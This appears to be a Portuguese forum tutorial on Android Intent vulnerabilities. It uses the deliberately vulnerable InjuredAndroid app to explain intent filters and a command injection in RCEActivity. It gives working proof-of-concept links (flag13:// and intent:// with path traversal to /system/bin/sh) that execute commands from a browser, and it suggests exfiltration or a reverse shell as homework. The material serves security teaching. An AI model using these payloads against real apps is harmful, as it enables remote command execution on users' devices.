Jump to content

caioluders

Membros
  • Posts

    1
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

caioluders's Achievements

4

Reputation

  1. Esse artigo tem como objetivo introduzir as vulnerabilidades que ocorrem no Android por meio do abuso de Intents. Tentarei ser o mais introdutório possível e listarei todas as referências necessárias, para ajudar caso algum conceito pareça muito avançado. Será utilizado o aplicativo InjuredAndroid como exemplo de apk vulnerável. 541v3 para os companheiros da @duphouse! Sem eles esse texto não seria possível. Para mais conteúdos em português, recomendo a série de vídeos do Maycon Vitali sobre Android no geral, assim como a minha talk na DupCon com vulnerabilidades reais. Existe também o @thatmobileproject para posts sobre segurança em mobile. intent:// Os Intents funcionam como a principal forma dos aplicativos se comunicarem internamente entre si. Por exemplo, se um aplicativo quer abrir o app InjuredAndroid ele pode iniciar-lo por meio de um Intent utilizando a URI flag13://rce. Abaixo um exemplo de código que realiza tal ação: Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); startActivity(intent); Além de aceitar todos os elementos de uma URI (scheme, host, path, query, fragment), um Intent também pode levar dados fortemente tipados por meio dos Intent Extras. Na prática, queries e extras são as formas mais comuns de passar dados entre os aplicativos. Eles serão discutidos com exemplos mais adiante. <intent-filter> Como o Android sabe a qual aplicativo se refere flag13://rce? O InjuredAndroid define um Intent Filter que diz quais tipos de Intent o Sistema Operacional deve enviar para ele. O Intent Filter é definido no AndroidManifest.xml. Vamos analizar a definição do Intent Filter relacionado a flag13://rce: https://github.com/B3nac/InjuredAndroid/blob/master/InjuredAndroid/app/src/main/AndroidManifest.xml <activity android:name=".RCEActivity" android:label="@string/title_activity_rce" android:theme="@style/AppTheme.NoActionBar"> <intent-filter android:label="filter_view_flag11"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <!-- Accepts URIs that begin with "flag13://” --> <data android:host="rce" android:scheme="flag13" /> </intent-filter> </activity> O atributo name define qual Activity será inicializada. Como ele começa com ponto, o nome é resolvido para package+.RCEActivity = b3nac.injuredandroid.RCEActivity. Dentro do <intent-filter>, a action se refere ao tipo de ação que será executada. Existe uma miríade de tipos de ações que são definidas na classe Intent, porém, na maioria das vezes é utilizada a action padrão android.intent.action.VIEW. O elemento category contém propriedades extras que definem como o Intent vai se comportar. O valor android.intent.category.DEFAULT define que essa Activity pode ser inicializada mesmo se o Intent não tiver nenhum category. O valor android.intent.category.BROWSABLE dita que a Activity pode ser inicializada pelo browser. Isso é super importante pois transforma qualquer ataque em remoto. Por exemplo, supondo que o usuário entre em um site malicioso, esse site consegue inicializar um Intent que abre o App apenas se o Intent Filter tiver a propriedade BROWSABLE. A tag data especifica quais URLs vão corresponder com esse Intent Filter, no nosso caso, o scheme tem que ser flag13 e o host igual a rce, ficando flag13://rce. Todas as partes da URI como path, port, etc. podem ser definidas. flag13://rce Agora que entedemos como Intents e Intents Filters funcionam, vamos procurar alguma vulnerabilidade no flag13://rce (O "rce" ficou meio óbvio né). 🤷‍♂️ Vejamos um trecho do código-fonte da Activity b3nac.injuredandroid.RCEActivity: 49 if (intent != null && intent.data != null) { 50 copyAssets() 51 val data = intent.data 52 try { 53 val intentParam = data!!.getQueryParameter("binary") 54 val binaryParam = data.getQueryParameter("param") 55 val combinedParam = data.getQueryParameter("combined") 56 if (combinedParam != null) { 57 childRef.addListenerForSingleValueEvent(object : ValueEventListener { 58 override fun onDataChange(dataSnapshot: DataSnapshot) { 59 val value = dataSnapshot.value as String? 60 if (combinedParam == value) { 61 FlagsOverview.flagThirteenButtonColor = true 62 val secure = SecureSharedPrefs() 63 secure.editBoolean(applicationContext, "flagThirteenButtonColor", true) 64 correctFlag() 65 } else { 66 Toast.makeText(this@RCEActivity, "Try again! :D", 67 Toast.LENGTH_SHORT).show() 68 } 69 } 70 71 override fun onCancelled(databaseError: DatabaseError) { 72 Log.e(TAG, "onCancelled", databaseError.toException()) 73 } 74 }) 75 } A Activity é inicializada na função onCreate e é lá que o Intent será devidamente tratado. Na linha 49 o aplicativo checa se intent é nulo. Se não for, ele irá pegar algumas queries binary, param e combined. Se combined for nulo ele não entrará no if da linha 56 e irá para o seguinte else: 76 else { 77 78 val process = Runtime.getRuntime().exec(filesDir.parent + "/files/" + intentParam + " " + binaryParam) 79 val bufferedReader = BufferedReader( 80 InputStreamReader(process.inputStream)) 81 val log = StringBuilder() 82 bufferedReader.forEachLine { 83 log.append(it) 84 } 85 process.waitFor() 86 val tv = findViewById<TextView>(R.id.RCEView) 87 tv.text = log.toString() 88 } Na linha 78, são passadas para a função Runtime.getRuntime().exec() as variáveis intentParam e binaryParam. Como essa função executa comandos no sistema, logo temos um Command Injection através do Intent. Vamos tentar explorá-lo! 😈 Normalmente, num Command Injection, tentaríamos passar algum caractere para executar outro commando, como &, /, |, / ou ;, porém se tentarmos desse jeito o Android emitirá um erro referente à primeira parte do comando em filesDir.parent + "/files/", pois não encontrará o arquivo, ou dará erro de permissão e não executará o resto do nosso payload. Para resolvermos esse problema podemos subir de nível na estrutura de diretórios com ../ até chegarmos no diretório root (raiz), a partir daí podemos executar o /system/bin/sh e executar qualquer comando que quisermos. Nossa PoC terá os seguintes passos : Alvo clica num link malicioso. Browser abre um Intent para b3nac.injuredandroid.RCEActivity. A Activity RCEActivity executa o comando do atacante. Nosso index.html ficaria assim: <a href="flag13://rce?binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27&param=1">pwn me</a> Deixo de tarefa de casa exfiltrar o resultado do comando, ou abrir uma reverse shell no Android. 😉 S.Intent_Extras Agora digamos que ao invés de receber as variáveis via query, o App as recebesse via Intent Extras, como fazer? Para criar um Intent com Extras apenas usamos a função putExtra. Intent intent = new Intent(); intent.setData(Uri.parse("flag13://rce")); intent.putExtra("binary","../../../../../system/bin/sh -c 'id'"); intent.putExtra("param","1"); startActivity(intent); Ok, com isso conseguimos passar Intents Extras por meio de outro App, mas e pelo Browser? Nós podemos utilizar o scheme intent:// para isso! O Intent referente ao código acima ficaria assim : <a href="intent://rce/#Intent;scheme=flag13;S.binary=..%2F..%2F..%2F..%2F..%2Fsystem%2Fbin%2Fsh%20-c%20%27id%27;S.param=1;end">pwn me</a> Note que primeiro vem o scheme intent://, depois o host rce e logo após a string #Intent, que é obrigatória. A partir daí todas as variáveis são delimitadas por ;. Passamos o scheme=flag13 e definimos os Extras. O nome do Extra é precedido do tipo dele. Como o Extra binary é do tipo String, ele é definido com S.binary. Os Extras podem ter vários tipos. Como a documentação do scheme intent:// é escassa, o melhor jeito é ler o código fonte do Android que faz o parsing dele, com destaque para o seguinte trecho: if (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i); ;end Podem existir vários tipos de vulnerabilidades oriundas dos Intents, incluindo RCE/SQLi/XSS ou até Buffer Overflow. Só vai depender da criatividade do desenvolvedor. Para estudar esse assunto mais a fundo, recomendo a leitura do blog do @bagipro_ (em Inglês) e dos reports públicos de Bug Bounty, também em Inglês. Uma outra observação é que além do InjuredAndroid, você também pode brincar com o Ovaa. |-|4ck th3 |>l4n3t @caioluders
×
×
  • Create New...